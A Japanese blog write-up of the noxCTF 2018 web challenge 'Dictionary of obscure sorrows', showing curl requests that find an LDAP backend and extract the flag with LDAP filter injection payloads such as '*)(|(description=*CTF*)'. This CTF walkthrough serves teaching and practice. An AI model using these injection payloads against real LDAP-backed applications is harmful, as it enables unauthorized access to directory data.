こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

noxCTF 2018 - Dictionary of obscure sorrows

問題文

There are a lot of obscure sorrows in our world. Your job is not to find those that are plain in sight; You need to seek further, look deeper. Find the word that can not be written. The most obscure sorrow of them all. http://54.152.220.222/

f:id:graneed:20180909000027p:plain

writeup

HTMLソースを確認すると、/word.php?page=<文字列>のリンクが多数ある。 word.phpの挙動を確認する。

root@kali:~# curl http://54.152.220.222/word.php
Missing RDN inside ObjectClass(document)

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page="
Query returned empty

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=Sonder" | grep h2
                            <h2>Sonder</h2>
                            <h2>Even more obsure sorrows</h2>

pageパラメータを指定しなかった場合に返却されたMissing RDN inside ObjectClass(document)のメッセージより、LDAP検索をしていると推測される。

LDAP Injectionを試す。

http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

まずは*を入れてみる。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*" -s | grep h2
                            <h2>Sonder</h2>
                            <h2>Even more obsure sorrows</h2>

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=A*" -s | grep h2
                            <h2>Anemoia</h2>
                            <h2>Even more obsure sorrows</h2>

検索に成功した。この攻撃方針で合っていそうだ。

pageパラメータにad*をセットするとメッセージが変わる。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=ad*" -s
This is going to be a little bit harder than that

adminのレコードを取得するものと想定し、後方一致を試すがNG。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*min" -s
Query returned empty

部分一致もNG。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*mi*" -s
Query returned empty

ここからしばらく試行錯誤が続くが、description属性を発見する。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*)" -s | grep h2
                            <h2>Sonder</h2>
                            <h2>Even more obsure sorrows</h2>

description属性にCTFが含まれるレコードを検索するとHITした。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*CTF*)" -s | grep CTF
                                noxCTF{K1NG_0F_LD4P}                            </p>

フラグゲット。
noxCTF{K1NG_0F_LD4P}